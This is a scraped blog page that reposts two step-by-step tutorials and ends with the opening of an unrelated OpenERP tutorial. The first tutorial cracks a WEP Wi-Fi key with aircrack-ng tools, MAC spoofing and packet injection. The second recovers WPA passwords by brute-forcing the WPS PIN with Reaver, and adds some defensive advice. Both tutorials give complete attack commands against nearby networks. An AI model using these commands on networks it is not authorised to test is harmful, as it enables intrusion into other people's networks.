<div class="inset_placeholder" id="inset_placeholder_399735"></div><p data-textannotation-id="75b49d8f78fcfad7cba6ee95cb825222">Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing <a href="http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key">how to pick a lock</a> doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.</p>
<p data-textannotation-id="81fd6bdc6f252296b5f788844cf067d5">Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.</p>
<h3 data-textannotation-id="f81ad6e540dceabcfbb0e6f8291523cf" style="font-size: 120%; margin-top: 20px;">What You'll Need</h3>
<p data-textannotation-id="c330fabca249f36f7ff972cb9c78c659" class="has-media media-300"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrsu8hf19png/original.png" data-chomp-id="17ggkrsu8hf19png" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="400" width="300" src="http://img.gawkerassets.com/img/17ggkrsu8hf19png/original.png" class="transform-original"/></span></p><p data-textannotation-id="ae221e7af5d6c884856099a6a189d6ea">Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:</p>
<ul><li data-textannotation-id="0e69ebaf36c46d943f792b60e549523d"><strong>A compatible wireless adapter</strong>—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. <em>Update: Don't do what I did. Get the <a data-amazonsubtag="[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491" data-amazontag="lifehackeramzn-20" data-amazonasin="B002WCEWU8" target="_blank" href="http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491">Alfa AWUS036H</a>, not the US050NH, instead.</em> <a href="http://www.youtube.com/watch?v=oHq-cKoYcr8" target="_blank">The guy in this video</a> below is using a $12 model he bought on Ebay (and is even <a href="http://www.youtube.com/watch?v=bFlOHMj7Qoc" target="_blank">selling his router of choice</a>). There are <a href="http://www.aircrack-ng.org/doku.php?id=compatible_cards" target="_blank">plenty of resources on getting aircrack-compatible adapters out there</a>.</li><li data-textannotation-id="059fb6e62c752d0e6f359341939760f5"><strong><a href="http://www.backtrack-linux.org/" target="_blank">A BackTrack Live CD</a></strong>. We already took you on a <a href="http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools">full screenshot tour of how to install and use BackTrack 3</a>, the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started.</li><li data-textannotation-id="dc0940694464dbbdf0ea25bdecf6ee4c"><strong>A nearby WEP-enabled Wi-Fi network.</strong> The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.</li><li data-textannotation-id="330092958c8634f08dc49670f0a5d3ba"><strong>Patience with the command line.</strong> This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.</li></ul>
<h3 data-textannotation-id="f0a49a4be4ade654216cd0f1ae4ed8b5" style="font-size: 120%; margin-top: 20px;">Crack That WEP</h3>
<p data-textannotation-id="c82743b851ee323a7f30b6283975c8c0">To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.</p>
<p data-textannotation-id="904caacf01d5176c76c33f54df97dd25">First run the following to get a list of your network interfaces:</p>
<blockquote data-textannotation-id="a271c007897ee7328558bb0d19fdb9c9">
<p><code>airmon-ng</code></p>
</blockquote>
<p data-textannotation-id="33595ddb62a656fe6afba0ddf81ff0ac">The only one I've got there is labeled <code>ra0</code>. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).</p>
<p data-textannotation-id="e5a850959bfb4cba823f52ee14bf8ed8">Now, run the following four commands. See the output that I got for them in the screenshot below.</p>
<blockquote data-textannotation-id="7381679c5f5ba525e8a28a295713a124">
<p><code><br/> airmon-ng stop (interface)<br/> ifconfig (interface) down<br/> macchanger —mac 00:11:22:33:44:55 (interface)<br/> airmon-ng start (interface)</code></p>
</blockquote>
<p data-textannotation-id="2f3be90c72098de13c635a00e8577a44" class="has-media media-640"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrsub9llbpng/ku-xlarge.png" data-chomp-id="17ggkrsub9llbpng" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="480" width="640" src="http://img.gawkerassets.com/img/17ggkrsub9llbpng/ku-xlarge.png" class="transform-ku-xlarge"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p><p data-textannotation-id="25f4a8dad0b80a3f2650d46a5b25d2da"> If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.</p>
<p data-textannotation-id="97694db6e58ef07582eb8c1354369554">Now it's time to pick your network. Run:</p>
<blockquote data-textannotation-id="cff3c936ff6810ec5afd451975ffb615">
<p><code>airodump-ng (interface)</code></p>
</blockquote>
<p data-textannotation-id="4726b368f010e72344957ff496970c4c">To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.</p>
<p data-textannotation-id="bffce274685ff58b3aa09d0b437645a4" class="has-media media-640"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrut97td8png/ku-xlarge.png" data-chomp-id="17ggkrut97td8png" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="480" width="640" src="http://img.gawkerassets.com/img/17ggkrut97td8png/ku-xlarge.png" class="transform-ku-xlarge"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p><p data-textannotation-id="8b41a3ab3883d3b1f894194d3d2f2445"> Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.</p>
<p data-textannotation-id="4cf08f6f74b0bfdd81f53a96252e9870">Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:</p>
<blockquote data-textannotation-id="5a3f8d38a009dfde67267957bcb8e05d">
<p><code>airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface)</code></p>
</blockquote>
<p data-textannotation-id="9139229b9e33a8ade203d87a42a9272e">Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking.</p>
<p data-textannotation-id="8ead618b9f8648f1d1899bf984a76d60" class="has-media media-640"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrutbx04dpng/ku-xlarge.png" data-chomp-id="17ggkrutbx04dpng" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="480" width="640" src="http://img.gawkerassets.com/img/17ggkrutbx04dpng/ku-xlarge.png" class="transform-ku-xlarge"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p>
<p data-textannotation-id="1035592be43af59fa1658a7433b5f8c4">You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:</p>
<blockquote data-textannotation-id="1ec2f61cc04efa49d5e20eb653a478e8">
<p><code>aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)</code></p>
</blockquote>
<p data-textannotation-id="39fac86fa7c91919ad75c8b574c430ad">Here the ESSID is the access point's SSID name, which in my case is <code>yoyo</code>. What you want to get after this command is the reassuring "Association successful" message with that smiley face.</p>
<p data-textannotation-id="7291d0b97abcec93cdde0159d5789e01" class="has-media media-640"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrut9v67spng/ku-xlarge.png" data-chomp-id="17ggkrut9v67spng" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="480" width="640" src="http://img.gawkerassets.com/img/17ggkrut9v67spng/ku-xlarge.png" class="transform-ku-xlarge"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p>
<p data-textannotation-id="5df1b502cd2e7be7e30b99e80a70325d">You're almost there. Now it's time for:</p>
<blockquote data-textannotation-id="36a58d9286348a119228a7d9a24e517a">
<p><code>aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)</code></p>
</blockquote>
<p data-textannotation-id="cc05e93954caa9b1400e72a1e1159ac1">Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the <code>yoyo</code> network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.)</p>
<p data-textannotation-id="10c3784ff1f1eda3ec4eadabd1566f40">Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the <code>yoyo</code> AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.</p>
<p data-textannotation-id="d6bb95ce020c9ba0c5adced340eed9cf" class="has-media media-640"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrwseb5uipng/ku-xlarge.png" data-chomp-id="17ggkrwseb5uipng" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="480" width="640" src="http://img.gawkerassets.com/img/17ggkrwseb5uipng/ku-xlarge.png" class="transform-ku-xlarge"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p>
<p data-textannotation-id="d6e008a1d6ef25b3a11c917de391e890">Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected:</p>
<blockquote data-textannotation-id="27d2eebb8e5a7e420f3308b1e8f404e8">
<p><code>aircrack-ng -b (bssid) (file name-01.cap)</code></p>
</blockquote>
<p data-textannotation-id="cd10eb6376f77df37eb14bfa122b4aa7">Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension.</p>
<p data-textannotation-id="cbf219d509a35d318489712a919a142e">If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this:</p>
<p data-textannotation-id="0c31d9095d6d7362554f14c6d16adb70" class="has-media media-300"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/17ggkrws8f1gepng/ku-medium.png" data-chomp-id="17ggkrws8f1gepng" alt="How to Crack a Wi-Fi Network's WEP Password with BackTrack" height="213" width="300" src="http://img.gawkerassets.com/img/17ggkrws8f1gepng/ku-medium.png" class="transform-ku-medium"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p><p data-textannotation-id="c0a70f9c13c9653958cb60d6460991e9"> The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network.</p>
<h3 data-textannotation-id="0008803535dc931180b42e24f9de8236" style="font-size: 120%; margin-top: 20px;">Problems Along the Way</h3>
<p data-textannotation-id="170d8144224c8f1856a47b433f1864ff">With this article I set out to prove that cracking WEP is a relatively "easy" process for someone determined and willing to get the hardware and software going. I still think that's true, but unlike the guy in the video below, I had several difficulties along the way. In fact, you'll notice that the last screenshot up there doesn't look like the others—it's because it's not mine. Even though the AP which I was cracking was my own and in the same room as my Alfa, the power reading on the signal was always around -30, and so the data collection was very slow, and BackTrack would consistently crash before it was complete. After about half a dozen attempts (and trying BackTrack on both my Mac and PC, as a live CD and a virtual machine), I still haven't captured enough data for aircrack to decrypt the key.</p>
<p data-textannotation-id="f93cc997272e8ecfb50040dbce44f9d2">So while this process is easy in theory, your mileage may vary depending on your hardware, proximity to the AP point, and the way the planets are aligned. Oh yeah, and if you're on deadline—Murphy's Law almost guarantees it won't work if you're on deadline.</p>
<hr/>
<p data-textannotation-id="735a2f0643d0cef974c8d1fd46a322c0">To see the video version of these exact instructions, check out this dude's YouTube video.</p>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-24574592940337616582013-10-04T02:10:00.001-07:002013-10-04T02:10:21.970-07:00How to Crack a Wi-Fi Network's WPA Password with Reaver<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<p data-textannotation-id="6f68a58cf658d7cbaaea85d462447eaa">Here's the bad news: A new, free, open-source tool called <a href="http://code.google.com/p/reaver-wps/" target="_blank">Reaver</a> exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks. </p>
<p data-textannotation-id="b71b3105cd9f8b9fc833b8816d2c32a9">In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below. After that, I'll explain how Reaver works, and what you can do to protect your network against Reaver attacks.</p>
<p data-textannotation-id="333863a9b4fc6541defb6dcc0debf180" class="has-media media-640"><span class="clear-both flex-video widescreen"><iframe mozallowfullscreen="mozallowfullscreen" webkitAllowFullScreen="webkitAllowFullScreen" allowfullscreen="allowfullscreen" frameborder="0" class="youtube" height="360" width="640" src="http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1" id="youtube-z1c1OIMbmb0"></iframe></span></p><p data-textannotation-id="de94372a395c40404de3d1dc5999caad"> <em>First, a quick note:</em> As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. The more you know, the better you can protect yourself.</p>
<h3 data-textannotation-id="a1e7373e859a20058331f19cff46167f">What You'll Need</h3>
<p data-textannotation-id="7a2d3d7b938a85df2a76a2c05d7aff34">You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide:</p>
<ul><li data-textannotation-id="336d997c784e4e2c846acdb82fca586c"><a href="http://www.backtrack-linux.org/downloads/" target="_blank"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18fblipptywm3jpg/original.jpg" data-chomp-id="18fblipptywm3jpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="442" width="300" src="http://img.gawkerassets.com/img/18fblipptywm3jpg/original.jpg" class="transform-original"/></span></a><strong><a href="http://www.backtrack-linux.org/downloads/" target="_blank">The BackTrack 5 Live DVD</a>.</strong> BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD <a href="http://www.backtrack-linux.org/downloads/" target="_blank">from BackTrack's download page</a> and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R1 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO.</li><li data-textannotation-id="2ec12599ae9b831968af4f0e2a0ae3e0"><strong>A computer with Wi-Fi and a DVD drive.</strong> BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro.</li><li data-textannotation-id="9891f1f72796fc097ad3d6f299dc457a"><strong>A nearby WPA-secured Wi-Fi network.</strong> Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible.</li><li data-textannotation-id="b7cccd6606472fefa3d1fcc5d39a62f6"><strong>A little patience.</strong> This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The <a href="http://code.google.com/p/reaver-wps/" target="_blank">Reaver home page</a> suggests it can take anywhere from 4-10 hours. Your mileage may vary.</li></ul>
<h3 data-textannotation-id="e4ca4017f18d2a96b8633c31fbedb908">Let's Get Crackin'</h3>
<p data-textannotation-id="ce31795f62ea47b49d9adb2e80866d07">At this point you should have BackTrack burned to a DVD, and you should have your laptop handy.</p>
<h4 data-textannotation-id="bb920f917c1fc3dc4b31f8fc7336d746">Step 1: Boot into BackTrack</h4>
<p data-textannotation-id="aed896bfaee218a9ce78ea17361d2689" class="has-media media-640"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18ix7n6uga4u4jpg/ku-xlarge.jpg" data-chomp-id="18ix7n6uga4u4jpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="429" width="640" src="http://img.gawkerassets.com/img/18ix7n6uga4u4jpg/ku-xlarge.jpg" class="transform-ku-xlarge"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p><p data-textannotation-id="219c201e5b949590e20410eceac49715">To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter.</p>
<p data-textannotation-id="286726933b25345ca711f5e2f10c9019">Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type <code>startx</code> and press Enter. BackTrack will boot into its graphical interface.</p>
<h4 data-textannotation-id="fda5a08ba98998b07b6d23251fe86df5">Step 2: Install Reaver</h4>
<p data-textannotation-id="f582f30eefe904cad0bee213be90ab8e">Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to.</p>
<ol><li data-textannotation-id="9d6bfdc6c9f03710c4ba3e1fa207e90a">Click Applications > Internet > Wicd Network Manager</li><li data-textannotation-id="668ff97a9e4b412fe88587ab47f0a0b5">Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time.</li></ol>
<p data-textannotation-id="64dbfd8fb8fef557366ff8c4081d5764">Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type:</p>
<pre data-textannotation-id="331af5c21044d8f7b8ace076c3d6bbd8">apt-get update
</pre>
<p data-textannotation-id="0e0af5afe0a4ea851a821f28b040aa62">And then, after the update completes:</p>
<pre data-textannotation-id="4641d03a6395c569762433914b21fb86">apt-get install reaver
</pre>
<p data-textannotation-id="308ed9cd6b94a89a874f37714a443ab6" class="has-media media-300"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18fblipptotlbjpg/original.jpg" data-chomp-id="18fblipptotlbjpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="158" width="300" src="http://img.gawkerassets.com/img/18fblipptotlbjpg/original.jpg" class="transform-original"/></span></p><p data-textannotation-id="64848a231cd08f519bb2c252cd6b5f04">If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.)</p>
<h4 data-textannotation-id="3cb36f2401fc2c9b71d8a2c79f6c70ec">Step 3: Gather Your Device Information, Prep Your Crackin'</h4>
<p data-textannotation-id="a624e14d67b9a342838b1645138cae08">In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that.</p>
<p data-textannotation-id="727376804e9bd583e7991ca46997af5e"><strong>Find your wireless card:</strong> Inside Terminal, type:</p>
<pre data-textannotation-id="942271e0310ab5038d9077e917554b57">iwconfig
</pre>
<p data-textannotation-id="0ba35605b29474337ca901b08814b62c" class="has-media media-300"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18fblipq07ossjpg/original.jpg" data-chomp-id="18fblipq07ossjpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="205" width="300" src="http://img.gawkerassets.com/img/18fblipq07ossjpg/original.jpg" class="transform-original"/></span></p><p data-textannotation-id="fd87776d6bcf4bd230648aec82d43c24">Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named <code>wlan0</code>, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different.</p>
<p data-textannotation-id="88e6ceb88a20be8d752f24dbe7b4659a"><strong>Put your wireless card into monitor mode:</strong> Assuming your wireless card's interface name <em>is</em> <code>wlan0</code>, execute the following command to put your wireless card into monitor mode:</p>
<pre data-textannotation-id="3d495b7e68fad49ae982623ec549bdbd">airmon-ng start wlan0
</pre>
<p data-textannotation-id="3c758f33c03f4f4e6045215b5c70ab1e">This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be <code>mon0</code>, like in the screenshot below. Make note of that.</p>
<p data-textannotation-id="90c04b82d7c3425d5547f5693d8f1e47" class="has-media media-300"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18qpo7omogao2jpg/ku-medium.jpg" data-chomp-id="18qpo7omogao2jpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="190" width="300" src="http://img.gawkerassets.com/img/18qpo7omogao2jpg/ku-medium.jpg" class="transform-ku-medium"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p>
<p data-textannotation-id="5a37d8a113273cf7f063c1cd1c13d170"><strong>Find the BSSID of the router you want to crack:</strong> Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command:</p>
<pre data-textannotation-id="b0c65846326e9be271b078025e20e371">airodump-ng wlan0
</pre>
<p data-textannotation-id="090c9b7ff4b4f23f3871928c131c44fc">(Note: If <code>airodump-ng wlan0</code> doesn't work for you, you may want to try the monitor interface instead—e.g., <code>airodump-ng mon0</code>.)</p>
<p data-textannotation-id="485d92da67eeb3faaec29023b455bcd0">You'll see a list of the wireless networks in range—it'll look something like the screenshot below:</p>
<p data-textannotation-id="38e7dac6d35a70463b6fe2a8e49207a1" class="has-media media-300"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18qpo7omjjvqzjpg/ku-medium.jpg" data-chomp-id="18qpo7omjjvqzjpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="109" width="300" src="http://img.gawkerassets.com/img/18qpo7omjjvqzjpg/ku-medium.jpg" class="transform-ku-medium"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p>
<div class="inset_placeholder" id="inset_placeholder_5305094"></div><p data-textannotation-id="f179b5f88082bc40b0dd76734ad98c1b">When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our <a href="http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack">previous guide to cracking WEP passwords</a>.)</p>
<p data-textannotation-id="f7e21a2631e2fbc5dd027d4db48d1664">Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver.</p>
<h4 data-textannotation-id="0b9865155c352d8a1ccfad3b2d9b0614">Step 4: Crack a Network's WPA Password with Reaver</h4>
<p data-textannotation-id="e5e15f6727c052f8ab22b76823701d01">Now execute the following command in the Terminal, replacing <code>bssid</code> and <code>moninterface</code> with the BSSID and monitor interface and you copied down above:</p>
<pre data-textannotation-id="5a10adcb2544e279dcbcd2ee90f0045f">reaver -i <strong>moninterface</strong> -b <strong>bssid</strong> -vv
</pre>
<p data-textannotation-id="c39a108031fefc20eb00268931f3e60f">For example, if your monitor interface was <code>mon0</code> like mine, and your BSSID was <code>8D:AE:9D:65:1F:B2</code> (a BSSID I just made up), your command would look like:</p>
<pre data-textannotation-id="b6f61ce873f92475b1daa3644d7b9f52">reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
</pre>
<p data-textannotation-id="7ba0ec82170e77bcc99002044b8e23b6">Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this:</p>
<p data-textannotation-id="6d8b95dce209201d2451e5d083ec7c10" class="has-media media-300"><span class="lightBoxWrapper"><span class="img-border"><img data-asset-url="http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg" data-chomp-id="18qpo7omnvkbejpg" alt="How to Crack a Wi-Fi Network's WPA Password with Reaver" height="167" width="300" src="http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg" class="transform-ku-medium"/></span><span class="magnifier lightBox hide"><span class="icon icon-white notranslate">S</span><span class="text"></span></span></span></p>
<p data-textannotation-id="4f85048662e5f66678382518a48a77c2"><strong>A few important factors to consider:</strong> Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through.</p>
<p data-textannotation-id="7c22a1d931438a7393314ec83d9a4266">Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything).</p>
<h3 data-textannotation-id="2bb6c62c16a703fac26d5af125c33ad1">How Reaver Works</h3>
<p data-textannotation-id="27dc41df62f1e8484bcffa25b06d1dfb">Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password.</p>
<p data-textannotation-id="4e2d0552e2482b8646ca3821225d6e12">Read more details about the vulnerability at <a href="http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars" target="_blank">Sean Gallagher's excellent post on Ars Technica</a>.</p>
<h3 data-textannotation-id="6223616e5e3f5dfaf61c518a33a68a95">How to Protect Yourself Against Reaver Attacks</h3>
<p data-textannotation-id="fe631ad0c0ab4ea9acdbc7b1604615b8">Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher <a href="http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars" target="_blank">points out as Ars</a>, even with WPS manually turned off through his router's settings, Reaver was still able to crack his password.</p>
<blockquote data-textannotation-id="4677f288c7b935bf587fd4121015a4a6">
<p>In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable.</p>
</blockquote>Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-80234366343942876472013-10-04T01:01:00.001-07:002013-10-10T02:01:47.945-07:00OpenERP Tutorial: Module creation and modification of the Point Of Sale<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h1 class="titre-article" itemprop="name">
OpenERP Tutorial: Module creation and modification of the Point Of Sale</h1>
<br />
<nav class="nav-sommaire" role="navigation">
<header><h1 class="TitreHeader StopArrondi ToggleGecko">
table of contents<img alt="Plier" class="ToggleImgPlier" src="http://www.developpez.com/template/kit/fleche-haut-bleue.gif" title="Plier" /><img alt="Déplier" class="ToggleImgDeplier" src="http://www.developpez.com/template/kit/fleche-bas-bleue.gif" style="display: none;" title="pos" /></h1>
</header>
<ul class="nav-sommaire-ul" id="nav_sommaire_ul_principal">
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LI">I. Introduction</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LII">II. Requirements</a></li>
<li><a class="summaryIndent0" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#LIII">III. Basics</a></li>
